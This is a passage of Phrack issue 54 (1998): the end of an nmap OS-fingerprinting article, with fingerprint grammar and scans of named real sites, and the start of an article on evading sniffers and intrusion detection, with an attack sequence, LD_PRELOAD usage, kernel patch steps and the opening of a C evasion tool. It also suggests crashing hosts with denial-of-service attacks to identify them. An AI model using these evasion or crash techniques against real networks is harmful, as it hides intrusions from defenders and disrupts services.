   implementations often handle overlapping IP fragments differently.
   Some will overwrite the old portions with the new, and in other
   cases the old stuff has precedence.  There are many different
   probes you can use to determine how the packet was reassembled.  I
   did not add this capability since I know of no portable way to send
   IP fragments (in particular, it is a bitch on Solaris).  For more
   information on overlapping fragments, you can read their IDS paper
   (www.secnet.com).

TCP Options -- These are truly a gold mine in terms of leaking
    information.  The beauty of these options is that:
    1) They are generally optional (duh!) :) so not all hosts implement
       them.
    2) You know if a host implements them by sending a query with an
       option set. The target generally show support of the option by
       setting it on the reply.
    3) You can stuff a whole bunch of options on one packet to test
       everything at once.
    
    Nmap sends these options along with almost every probe packet: 

    Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

    When you get your response, you take a look at which options were
    returned and thus are supported.  Some operating systems such as
    recent FreeBSD boxes support all of the above, while others, such
    as Linux 2.0.X support very few.  The latest Linux 2.1.x kernels
    do support all of the above.  On the other hand, they are more
    vulnerable to TCP sequence prediction.  Go figure.

    Even if several operating systems support the same set of options,
    you can sometimes distinguish them by the _values_ of the options.
    For example, if you send a small MSS value to a Linux box, it will
    generally echo that MSS back to you.  Other hosts will give you
    different values.

    And even if you get the same set of supported options AND the same
    values, you can still differentiate via the _order_ that the
    options are given, and where padding is applied.  For example
    Solaris returns 'NNTNWME' which means:
    <no op><no op><timestamp><no op><window scale><echoed MSS>

    While Linux 2.1.122 returns MENNTNW.  Same options, same values,
    but different order!

    I have not seen any other OS detection tools utilizes TCP options,
    but it is very useful.

    There are a few other useful options I might probe for at some
    point, such as those that support T/TCP and selective
    acknowledgements.


Exploit Chronology -- Even with all the tests above, nmap is unable to
    distinguish between the TCP stacks of Win95, WinNT, or Win98.
    This is rather surprising, especially since Win98 came out about 4
    years after Win95.  You would think they would have bothered to
    improve the stack in some way (like supporting more TCP options)
    and so we would be able to detect the change and distinguish the
    operating systems.  Unfortunately, this is not the case.  The NT
    stack is apparently the same crappy stack they put into '95.  And
    they didn't bother to upgrade it for '98.

    But do not give up hope, for there is a solution.  You can simply
    start with early Windows DOS attacks (Ping of Death, Winnuke, etc)
    and move up a little further to attacks such as Teardrop and Land.
    After each attack, ping them to see whether they have crashed.
    When you finally crash them, you will likely have narrowed what
    they are running down to one service pack or hotfix.

    I have not added this functionality to nmap, although I must admit
    it is very tempting :).


SYN Flood Resistance -- Some operating systems will stop accepting new
    connections if you send too many forged SYN packets at them
    (forging the packets avoids trouble with your kernel resetting the
    connections).  Many operating systems can only handle 8 packets.
    Recent Linux kernels (among other operating systems) allow
    various methods such as SYN cookies to prevent this from being a
    serious problem.  Thus you can learn something about your target
    OS by sending 8 packets from a forged source to an open port and
    then testing whether you can establish a connection to that port
    yourself.  This was not implemented in nmap since some people get
    upset when you SYN flood them.  Even explaining that you were
    simply trying to determine what OS they are running might not help
    calm them.


----[  NMAP IMPLEMENTATION AND RESULTS

I have created a reference implementation of the OS detection techniques
mentioned above (except those I said were excluded).  I have added this to my
Nmap scanner which has the advantage that it already _knows_ what ports are
open and closed for fingerprinting so you do not have to tell it.  It is also
portable among Linux, *BSD, and Solaris 2.51 and 2.6, and some other operating
systems.

The new version of nmap reads a file filled with Fingerprint templates that
follow a simple grammar.  Here is an example:

FingerPrint  IRIX 6.2 - 6.4 # Thanks to Lamont Granquist
TSeq(Class=i800)
T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
T3(Resp=Y%DF=N%W=C000|EF2A%ACK=O%Flags=A%Ops=NNT)
T4(DF=N%W=0%ACK=O%Flags=R%Ops=)
T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)
PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

Lets look at the first line (I'm adding '>' quote markers):

> FingerPrint  IRIX 6.2 - 6.3 # Thanks to Lamont Granquist

This simply says that the fingerprint covers IRIX versions 6.2 through 6.3 and
the comment states that Lamont Granquist kindly sent me the IP addresses or
fingerprints of the IRIX boxes tested.

> TSeq(Class=i800)

This means that ISN sampling put it in the "i800 class".  This means that each
new sequence number is a multiple of 800 greater than the last one.

> T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)

The test is named T1 (for test1, clever eh?).  In this test we send a SYN
packet with a bunch of TCP options to an open port.  DF=N means that the
"Don't fragment" bit of the response must not be set.  W=C000|EF2A means that
the window advertisement we received must be 0xC000 or EF2A.  ACK=S++ means
the acknowledgement we receive must be our initial sequence number plus 1.
Flags = AS means the ACK and SYN flags were sent in the response.
Ops = MNWNNT means the options in the response must be (in this order):

<MSS (not echoed)><NOP><Window scale><NOP><NOP><Timestamp>

> T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)

Test 2 involves a NULL with the same options to an open port.  Resp=Y means we
must get a response.  Ops= means that there must not be any options included
in the response packet.  If we took out '%Ops=' entirely then any options sent
would match.

> T3(Resp=Y%DF=N%W=400%ACK=S++%Flags=AS%Ops=M)

Test 3 is a SYN|FIN|URG|PSH w/options to an open port.

> T4(DF=N%W=0%ACK=O%Flags=R%Ops=)

This is an ACK to an open port.  Note that we do not have a Resp= here.  This
means that lack of a response (such as the packet being dropped on the network
or an evil firewall) will not disqualify a match as long as all the other
tests match.  We do this because virtually any OS will send a response, so a
lack of response is generally an attribute of the network conditions and not
the OS itself.  We put the Resp tag in tests 2 and 3 because some operating
systems _do_ drop those without responding.

> T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
> T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
> T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)

These tests are a SYN, ACK, and FIN|PSH|URG, respectively, to a closed port.
The same options as always are set.  Of course this is all probably obvious
given the descriptive names 'T5', 'T6', and 'T7' :).

> PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

This big sucker is the 'port unreachable' message test.  You should recognize
the DF=N by now.  TOS=0 means that IP type of service field was 0.  The next
two fields give the (hex) values of the IP total length field of the message
IP header and the total length given in the IP header they are echoing back to
us.  RID=E means the RID value we got back in the copy of our original UDP
packet was expected (ie the same as we sent).  RIPCK=E means they didn't fuck
up the checksum (if they did, it would say RIPCK=F).  UCK=E means the UDP
checksum is also correct.  Next comes the UDP length which was 0x134 and DAT=E
means they echoed our UDP data correctly.  Since most implementations
(including this one) do not send any of our UDP data back, they get DAT=E by
default.

The version of nmap with this functionality is currently in the 6th private
beta cycle.  It may be out by the time you read this in Phrack.  Then again,
it might not.  See http://www.insecure.org/nmap/ for the latest version.


----[  POPULAR SITE SNAPSHOTS

Here is the fun result of all our effort.  We can now take random Internet
sites and determine what OS they are using.  A lot of these people have
eliminated telnet banners, etc. to keep this information private.  But this is
of no use with our new fingerprinter!  Also this is a good way to expose the
<your favorite crap OS> users as the lamers that they are :)!

The command used in these examples was: nmap -sS -p 80 -O -v <host>

Also note that most of these scans were done on 10/18/98.  Some of these folks
may have upgraded/changed servers since then.

Note that I do not like every site on here.  

# "Hacker" sites or (in a couple cases) sites that think they are
www.l0pht.com        => OpenBSD 2.2 - 2.4
www.insecure.org     => Linux 2.0.31-34
www.rhino9.ml.org    => Windows 95/NT     # No comment :)
www.technotronic.com => Linux 2.0.31-34
www.nmrc.org         => FreeBSD 2.2.6 - 3.0
www.cultdeadcow.com  => OpenBSD 2.2 - 2.4
www.kevinmitnick.com => Linux 2.0.31-34  # Free Kevin!
www.2600.com         => FreeBSD 2.2.6 - 3.0 Beta
www.antionline.com   => FreeBSD 2.2.6 - 3.0 Beta
www.rootshell.com    => Linux 2.0.35  # Changed to OpenBSD after
                                      # they got owned.

# Security vendors, consultants, etc.
www.repsec.com       => Linux 2.0.35
www.iss.net          => Linux 2.0.31-34
www.checkpoint.com   => Solaris 2.5 - 2.51
www.infowar.com      => Win95/NT

# Vendor loyalty to their OS
www.li.org           => Linux 2.0.35 # Linux International
www.redhat.com       => Linux 2.0.31-34 # I wonder what distribution :)
www.debian.org       => Linux 2.0.35
www.linux.org        => Linux 2.1.122 - 2.1.126
www.sgi.com          => IRIX 6.2 - 6.4
www.netbsd.org       => NetBSD 1.3X
www.openbsd.org      => Solaris 2.6     # Ahem :)
www.freebsd.org      => FreeBSD 2.2.6-3.0 Beta

# Ivy league
www.harvard.edu      => Solaris 2.6
www.yale.edu         => Solaris 2.5 - 2.51
www.caltech.edu      => SunOS 4.1.2-4.1.4  # Hello! This is the 90's :)   
www.stanford.edu     => Solaris 2.6
www.mit.edu          => Solaris 2.5 - 2.51 # Coincidence that so many good
                                           # schools seem to like Sun?
                                           # Perhaps it is the 40%
                                           # .edu discount :)
www.berkeley.edu     => UNIX OSF1 V 4.0,4.0B,4.0D  
www.oxford.edu       => Linux 2.0.33-34  # Rock on!

# Lamer sites
www.aol.com          => IRIX 6.2 - 6.4  # No wonder they are so insecure :)
www.happyhacker.org  => OpenBSD 2.2-2.4 # Sick of being owned, Carolyn?
                                        # Even the most secure OS is
                                        # useless in the hands of an
                                        # incompetent admin.

# Misc
www.lwn.net          => Linux 2.0.31-34 # This Linux news site rocks!
www.slashdot.org     => Linux 2.1.122 - 2.1.126
www.whitehouse.gov   => IRIX 5.3
sunsite.unc.edu      => Solaris 2.6

Notes: In their security white paper, Microsoft said about their lax security:
"this assumption has changed over the years as Windows NT gains popularity
largely because of its security features.".  Hmm, from where I stand it
doesn't look like Windows is very popular among the security community :).
I only see 2 Windows boxes from the whole group, and Windows is _easy_ for
nmap to distinguish since it is so broken (standards wise).

And of course, there is one more site we must check.  This is the web site of
the ultra-secret Transmeta corporation.  Interestingly the company was funded
largely by Paul Allen of Microsoft, but it employs Linus Torvalds.  So do they
stick with Paul and run NT or do they side with the rebels and join the Linux
revolution?  Let us see:

We use the command:
nmap -sS -F -o transmeta.log -v -O www.transmeta.com/24

This says SYN scan for known ports (from /etc/services), log the results to
'transmeta.log', be verbose about it, do an OS scan, and scan the class 'C'
where www.transmeta.com resides.  Here is the gist of the results:

neon-best.transmeta.com (206.184.214.10) => Linux 2.0.33-34
www.transmeta.com (206.184.214.11) => Linux 2.0.30
neosilicon.transmeta.com (206.184.214.14) => Linux 2.0.33-34
ssl.transmeta.com (206.184.214.15) => Linux unknown version
linux.kernel.org (206.184.214.34) => Linux 2.0.35
www.linuxbase.org (206.184.214.35) => Linux 2.0.35 ( possibly the same
                                      machine as above )

Well, I think this answers our question pretty clearly :).


----[  ACKNOWLEDGEMENTS

The only reason Nmap is currently able to detect so many different operating
systems is that many people on the private beta team went to a lot of effort
to search out new and exciting boxes to fingerprint! In particular, Jan Koum,
van Hauser, Dmess0r, David O'Brien, James W. Abendschan, Solar Designer, Chris
Wilson, Stuart Stock, Mea Culpa, Lamont Granquist, Dr. Who, Jordan Ritter,
Brett Eldridge, and Pluvius sent in tons of IP addresses of wacky boxes and/or
fingerprints of machines not reachable through the Internet.

Thanks to Richard Stallman for writing GNU Emacs.  This article would not be
so well word-wrapped if I was using vi or cat and ^D.

Questions and comments can be sent to fyodor@DHP.com (if that doesn't work for
some reason, use fyodor@insecure.org).  Nmap can be obtained from
http://www.insecure.org/nmap.

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12


-------------------------[  Defeating Sniffers and Intrusion Detection Systems


--------[  horizon <jmcdonal@unf.edu>


----[  Overview

The purpose of this article is to demonstrate some techniques that can be used
to defeat sniffers and intrusion detection systems.  This article focuses
mainly on confusing your average "hacker" sniffer, with some rough coverage of
Intrusion Detection Systems (IDS).  However, the methods and code present in
this article should be a good starting point for getting your packets past ID
systems.  For an intense examination of attack techniques against IDS, check
out: http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp.

There are a large number of effective techniques other than those that are
implemented in this article.  I have chosen a few generic techniques that
hopefully can be easily expanded into more targeted and complex attacks.  After
implementing these attacks, I have gone through and attempted to correlate
them to the attacks described in the NAI paper, where appropriate.

The root cause of the flaws discussed in this article is that most sniffers
and intrusion detection systems do not have as robust of a TCP/IP
implementation as the machines that are actually communicating on the network.
Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI,
or SOCK_PACKET.  The sniffer receives the entire datalink level frame, and
gets no contextual clues from the kernel as to how that frame will be
interpreted.  Thus, the sniffer has the job of interpreting the entire packet
and guessing how the kernel of the receiving machine is going to process it.
Luckily, 95% of the time, the packet is going to be sane, and the kernel
TCP/IP stack is going to behave rather predictably.  It is the other 5% of the
time that we will be focusing on.

This article is divided into three sections: an overview of the techniques
employed, a description of the implementation and usage, and the code.  Where
possible, the code has been implemented in a somewhat portable format: a
shared library that wraps around connect(), which you can use LD_PRELOAD to
"install" into your normal client programs.  This shared library uses raw
sockets to create TCP packets, which should work on most unixes. However, some
of the attacks described are too complex to implement with raw sockets, so
simple OpenBSD kernel patches are supplied.  I am working on complementary
kernel patches for Linux, which will be placed on the rhino9 web site when
they are complete.  The rhino9 web site is at: http://www.rhino9.ml.org/ 


----[  Section 1. The Tricks

The first set of tricks are solely designed to fool most sniffers, and will
most likely have no effect on a decent ID system.  The second set of tricks
should be advanced enough to start to have an impact on the effectiveness of
an intrusion detection system.

Sniffer Specific Attacks
------------------------

1. Sniffer Design - One Host Design

The first technique is extremely simple, and takes advantage of the design of
many sniffers.  Several hacker sniffers are designed to follow one connection,
and ignore everything else until that connection is closed or reaches some
internal time out.  Sniffers designed in this fashion have a very low profile,
as far as memory usage and CPU time.  However, they obviously miss a great deal
of the data that can be obtained.  This gives us an easy way of preventing our
packets from being captured: before our connection, we send a spoofed SYN
packet from a non-existent host to the same port that we are attempting to
connect to.  Thus, the sniffer sees the SYN packet, and if it is listening, it
will set up its internal state to monitor all packets related to that
connection.  Then, when we make our connection, the sniffer ignores our SYN
because it is watching the fake host.  When the host later times out, our
connection will not be logged because our initial SYN packet has long been
sent.


2. Sniffer Design - IP options

The next technique depends on uninformed coding practices within sniffers.
If you look at the code for some of the hacker sniffers, namely ones based-off
of the original linsniffer, you will see that they have a structure that looks
like this:

struct etherpacket
{
    etherheader eh;
    ipheader ip;
    tcpheader tcp;
    char data[8192];
};

The sniffer will read a packet off of the datalink interface, and then slam it
into that structure so it can analyze it easily.  This should work fine most
of the time.  However, this approach makes a lot of assumptions: it assumes
that the size of the IP header is 20 bytes, and it also assumes that the size
of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of
options, then the sniffer is going to look inside your IP options for the TCP
header, and completely misinterpret your packet.  If the sniffer handles your
IP header correctly, but incorrectly handles the TCP header, that doesn't buy
you quite as much.  In that situation, you get an extra 40 bytes of data that
the sniffer will log. I have implemented mandatory IP options in the OpenBSD
kernel such that it is manageable by a sysctl.


3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers

This technique takes advantage of the fact that your typical sniffer is not
going to keep track of the specific details of the ongoing connection.  In a
TCP connection, sequence numbers are used as a control mechanism for
determining how much data has been sent, and the correct order for the data
that has been sent.  Most sniffers do not keep track of the sequence numbers
in an ongoing TCP connection.  This allows us to insert packets into the data
stream that the kernel will disregard, but the sniffer will interpret as valid.
The first technique we will use based on this is spoofing FIN and RST packets.
FIN and RST are control flags inside the TCP packets, a FIN indicating the
initiation of a shutdown sequence for one side of a connection, and an RST
indicating that a connection should be immediately torn down. If we send a
packet with a FIN or RST, with a sequence number that is far off of the current
sequence number expected by the kernel, then the kernel will disregard it.
However, the sniffer will likely regard this as a legitimate connection close
request or connection reset, and cease logging.

It is interesting to note that certain implementations of TCP stacks do not
check the sequence numbers properly upon receipt of an RST.  This obviously
provides a large potential for a denial of service attack.  Specifically, I
have noticed that Digital Unix 4.0d will tear down connections without
checking the sequence numbers on RST packets.


4. Insertion - Data Spoofing - Invalid Sequence Numbers

This technique is a variation of the previous technique, which takes advantage
of the fact that a typical sniffer will not follow the sequence numbers of a
TCP connection.  A lot of sniffers have a certain data capture length, such
that they will stop logging a connection after that amount of data has been
captured.  If we send a large amount of data after the connection initiation,
with completely wrong sequence numbers, our packets will be dropped by the
kernel.  However, the sniffer will potentially log all of that data as valid
information.  This is roughly an implementation of the "tcp-7" attack mentioned
in the NAI paper.


IDS / Sniffer Attacks:
---------------------

The above techniques work suprisingly well for most sniffers, but they are not
going to have much of an impact on most IDS.  The next six techniques are a
bit more complicated, but represent good starting points for getting past the
more complex network monitors. 


5. Evasion - IP Fragmentation

IP fragmentation allows packets to be split over multiple datagrams in order
to fit packets within the maximum transmission unit of the physical network
interface.  Typically, TCP is aware of the mtu, and doesn't send packets that
need to be fragmented at an IP level.  We can use this to our advantage to try
to confuse sniffers and IDS.  There are several potential attacks involving
fragmentation, but we will only cover a simple one.  We can send a TCP packet
split over several IP datagrams such that the first 8 bytes of the TCP header
are in a single packet, and the rest of the data is sent in 32 byte packets.
This actually buys us a lot in our ability to fool a network analysis tool.
First of all, the sniffer/IDS will have to be capable of doing fragment
reassembly.  Second of all, it will have to be capable of dealing with
fragmented TCP headers.  It turns out that this simple technique is more than
sufficient to get your packets past most datalink level network monitors.
This an another attack that I chose to implement as a sysctl in the OpenBSD
kernel.

This technique is very powerful in it's ability to get past most sniffers
completely.  However, it requires some experimentation because you have to
make sure that your packets will get past all of the filters between you and
the target.  Certain packet filters wisely drop fragmented packets that look
like they are going to rewrite the UDP/TCP header, or that look like they are
unduly small.  The implementation in this article provides a decent deal of
control over the size of the fragments that your machine will output.  This
will allow you to implement the "frag-1" and "frag-2" attacks described in the
NAI paper.


6. Desynchronization - Post Connection SYN

If we are attempting to fool an intelligent sniffer, or an ID system, then we
can be pretty certain that it will keep track of the TCP sequence numbers.  For
this technique, we will attempt to desynchronize the sniffer/IDS from the
actual sequence numbers that the kernel is honoring.  We will implement this
attack by sending a post connection SYN packet in our data stream, which will
have divergent sequence numbers, but otherwise meet all of the necessary
criteria to be accepted by our target host.  However, the target host will
ignore this SYN packet, because it references an already established
connection.  The intent of this attack is to get the sniffer/IDS to
resynchronize its notion of the sequence numbers to the new SYN packet.  It
will then ignore any data that is a legitimate part of the original stream,
because it will be awaiting a different sequence number.  If we succeed in
resynchronizing the IDS with a SYN packet, we can then send an RST packet with
the new sequence number and close down its notion of the connection.  This
roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper.


7. Desynchronization - Pre Connection SYN

Another attack we perform which is along this theme is to send an initial SYN
before the real connection, with an invalid TCP checksum.  If the sniffer is
smart enough to ignore subsequent SYNs in a connection, but not smart enough
to check the TCP checksum, then this attack will synchronize the sniffer/IDS
to a bogus sequence number before the real connection occurs.  This attack
calls bind to get the kernel to assign a local port to the socket before
calling connect.


8. Insertion - FIN and RST Spoofing - TCP checksum validation

This technique is a variation of the FIN/RST spoofing technique mentioned
above.  However, this time we will attempt to send FIN and RST packets that
should legitimately close the connection, with one notable exception: the TCP
checksum will be invalid.  These packets will be immediately dropped by the
kernel, but potentially honored by the IDS/sniffer.  This attack requires
kernel support in order to determine the correct sequence numbers to use on
the packet.  This is similar to the "insert-2" attack in the NAI paper.


9. Insertion - Invalid Data - TCP checksum validation 

This technique is a variation of the previous data insertion attack, with the
exception that we will be inserting data with the correct sequence numbers,
but incorrect TCP checksums.  This will serve to confuse and desynchronize
sniffers and ID by feeding it a lot of data that will not be honored by the
participating kernels.  This attack requires kernel support to get the correct
sequence numbers for the outgoing packets.  This attack is also similar to the
"insert-2" attack described in the NAI paper.


10. Insertion - FIN and RST Spoofing - Short TTL

If the IDS or sniffer is sitting on the network such that it is one or more
hops away from the host it is monitoring, then we can do a simple attack,
utilizing the TTL field of the IP packet.  For this attack, we determine the
lowest TTL that can be used to reach the target host, and then subtract one.
This allows us to send packets that will not reach the target host, but that
have the potential of reaching the IDS or sniffer. In this attack, we send a
couple of FIN packets, and a couple of RST packets.


11. Insertion - Data Spoofing - Short TTL

For our final attack, we will send 8k of data with the correct sequence
numbers and TCP checksums. However, the TTL will be one hop too short to reach
our target host. 

Summary
-------

All of these attacks work in concert to confuse sniffers and IDS.  Here is a
breakdown of the order in which we perform them:

Attack 1 - One Host Sniffer Design.
  FAKEHOST -> TARGET SYN 
Attack 7 - Pre-connect Desynchronization Attempt.
  REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number)
Kernel Activity
  REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel)
Attack 6 - Post-connect Desynchronization Attempt.
  REALHOST -> TARGET SYN (Arbitrary Seq Number X)
  REALHOST -> TARGET SYN (Seq Number X+1)
Attack 4 - Data Spoofing - Invalid Sequence Numbers
  REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers
  REALHOST -> TARGET FIN (Seq Number X+2+8192)
  REALHOST -> TARGET FIN (Seq Number X+3+8192)
  REALHOST -> TARGET RST (Seq Number X+4+8192)
  REALHOST -> TARGET RST (Seq Number X+5+8192)
Attack 11 - Data Spoofing - TTL 
* REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y)
Attack 10 - FIN/RST Spoofing - TTL
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192)
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192)
Attack 9 - Data Spoofing - Checksum
* REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z)
Attack 8 - FIN/RST Spoofing - Checksum
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)

The attacks with an asterisk require kernel support to determine the correct
sequence numbers.  Arguably, this could be done without kernel support,
utilizing a datalink level sniffer, but it would make the code significantly
more complex, because it would have to reassemble fragments, and do several
validation checks in order to follow the real connection.  The user can choose 
which of these attacks he/she would like to perform, and the sequence numbers
will adjust themselves accordingly.


----[  Section 2 - Implementation and Usage

My primary goal when implementing these techniques was to keep the changes
necessary to normal system usage as slight as possible.  I had to divide the
techniques into two categories: attacks that can be performed from user
context, and attacks that have to be augmented by the kernel in some fashion.
My secondary goal was to make the userland set of attacks reasonably portable
to other Unix environments, besides OpenBSD and Linux. 

The userland attacks are implemented using shared library redirection, an
extremely useful technique borrowed from halflife's P51-08 article.  The first
program listed below, congestant.c, is a shared library that the user requests
the loader to link first.  This is done with the LD_PRELOAD environment
variable on several unixes.  For more information about this technique, refer
to the original article by halflife. 

The shared library defines the connect symbol, thus pre-empting the normal
connect function from libc (or libsocket) during the loading phase of program
execution.  Thus, you should be able to use these techniques with most any
client program that utilizes normal BSD socket functionality.  OpenBSD does
not let us do shared library redirection (when you attempt to dlsym the old
symbol out of libc, it gives you a pointer to the function you had pre-loaded).
However, this is not a problem because we can just call the connect() syscall
directly.

This shared library has some definite drawbacks, but you get what you pay for.
It will not work correctly with programs that do non-blocking connect calls,
or RAW or datalink level access.  Furthermore, it is designed for use on TCP
sockets, and without kernel support to determine the type of a socket, it will
attempt the TCP attacks on UDP connections.  This support is currently only
implemented under OpenBSD.  However, this isn't that big of a drawback because
it just sends a few packets that get ignored.  Another drawback to the shared
library is that it picks a sequence number out of the blue to represent the
"wrong" sequence number.  Due to this fact, there is a very small possibility
that the shared library will pick a legitimate sequence number, and not
desynchronize the stream.  This, however, is extremely unlikely.

A Makefile accompanies the shared library.  Edit it to fit your host, and then
go into the source file and make it point to your copy of libc.so, and you
should be ready to go.  The code has been tested on OpenBSD 2.3, 2.4, Debian
Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6.
You can use the library like this:

# export LD_PRELOAD=./congestion.so
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
# telnet www.blah.com

The library will "wrap" around any connects in the programs you run from that
point on, and provide you some protection behind the scenes.  You can control
the program by defining the CONGCONF environment variable.  You give it a
comma delimited list of attacks, which break out like this:

DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs kernel support)
FC: Spoof FIN packets with bad TCP checksums. (needs kernel support)
RC: Spoof RST packets with bad TCP checksums. (needs kernel support)
DT: Insert 8k of data with short TTLs. (needs kernel support)
FT: Spoof FIN packets with short TTLs. (needs kernel support)
RT: Spoof RST packets with short TTLs. (needs kernel support)

Kernel Support
--------------

OpenBSD kernel patches are provided to facilitate several of the techniques
described above.  These patches have been made against the 2.4 source
distribution. I have added three sysctl variables to the kernel, and one new
system call.  The three sysctl variables are:

net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack  (integer)

The new system call is getsockinfo(), and it is system call number 242.

The three sysctl's can be used to modify the characteristics of every outgoing
IP packet coming from the machine.  The fraghackhead variable specifies a new
mtu, in bytes, for outgoing IP datagrams.  fraghackhead is applied to every
outgoing datagram, unless fraghackbody is also defined.  In that case, the mtu
for the first fragment of a packet is read from fraghackhead, and the mtu for
every consecutive fragment is read from fraghackbody.  This allows you to
force your machine into fragmenting all of its traffic, to any size that you
specify.  The reason it is divided into two variables is so that you can have
the first fragment contain the entire TCP/UDP header, and have the following
fragments be 8 or 16 bytes.  This way, you can get your fragmented packets past
certain filtering routers that block any sort of potential header rewriting.
The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP
options on every outgoing packet. 

I implemented these controls such that they do not have any effect on packets
sent through raw sockets.  The implication of this is that our attacking
packets will not be fragmented or contain IP options.

Using these sysctl's is pretty simple: for the fraghack variables, you specify
a number of bytes (or 0 to turn them off), and for the optionshack, you either
set it to 0 or 1. Here is an example use:

# sysctl -w net.inet.ip.optionshack=1    # 40 bytes added to header
# sysctl -w net.inet.ip.fraghackhead=80  # 20 + 40 + 20 = full protocol header 
# sysctl -w net.inet.ip.fraghackbody=68  # 20 + 40 + 8 = smallest possible frag

It is very important to note that you should be careful with the fraghack
options.  When you specify extreme fragmentation, you quickly eat up the
memory that the kernel has available for storing packet headers.  If memory
usage is too high, you will notice sendto() returning a no buffer space error.
If you stick to programs like telnet or ssh, that use small packets, then you 
should be fine with 28 or 28/36. However, if you use programs that use large 
packets like ftp or rcp, then you should bump fraghackbody up to a higher 
number, such as 200.

The system call, getsockinfo, is needed by the userland program to determine if
a socket is a TCP socket, and to query the kernel for the next sequence number
that it expects to send on the next outgoing packet, as well as the next
sequence number it expects to receive from it's peer.  This allows the
userland program to implement attacks based on having a correct sequence
number, but some other flaw in the packet such as a short TTL or bad TCP
checksum.


Kernel Patch Installation
-------------------------

Here are the steps I use to install the kernel patches.

Disclaimer: I am not an experienced kernel programmer, so don't be too upset
if your box gets a little flaky.  The testing I've done on my own machines has
gone well, but be aware that you really are screwing with critical stuff by
installing these patches. You may suffer performance hits, or other such
unpleasentries.  But hey, you can't have any fun if you don't take any risks. :>

Step 1. Apply the netinet.patch to /usr/src/sys/netinet/
Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h
Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it
Step 4. Apply kern.patch to /usr/src/sys/kern/
Step 5. cd /usr/src/sys/kern; make
Step 6. Apply sys.patch to /usr/src/sys/sys/
Step 7. cd into your kernel build directory
	(/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make. 
Step 8. cp bsd /bsd, reboot, and cross your fingers. :>


----[  The Code
<++> congestant/Makefile
# OpenBSD
LDPRE=-Bshareable
LDPOST=
OPTS=-DKERNELSUPPORT

# Linux
#LDPRE=-Bshareable
#LDPOST=-ldl
#OPTS=

# Solaris
#LDPRE=-G
#LDPOST=-ldl
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42 

congestant.so: congestant.o
	ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}

congestant.o: congestant.c
	gcc ${OPTS} -fPIC -c congestant.c

clean: 
	rm -f congestant.o congestant.so
<-->
<++> congestant/congestant.c
/* 
 * congestant.c - demonstration of sniffer/ID defeating techniques 
 *
 * by horizon <jmcdonal@unf.edu>
 * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
 *
 * openbsd doesn't let us do shared lib redirection, so we implement the
 * connect system call directly. Also, the kernel support for certain attacks
 * is only implemented in openbsd. When I finish the linux support, it will
 * be available at http://www.rhino9.ml.org
 *
 * This whole thing is a conditionally compiling nightmare. :>
 * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
 * Solaris 2.6, Debian Linux, and the glibc Debian Linux 
 */

/* The path to our libc. (libsocket under Solaris) */
/* You don't need this if you are running OpenBSD */
/* #define LIB_PATH "/usr/lib/libsocket.so" */
#define LIB_PATH "/lib/libc-2.0.7.so"
/* #define LIB_PATH "/usr/lib/libc.so"  */

/* The source of our initial spoofed SYN in the One Host Design attack */
/* This has to be some host that will survive any outbound packet filters */
#define FAKEHOST "42.42.42.42"

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/socket.h>
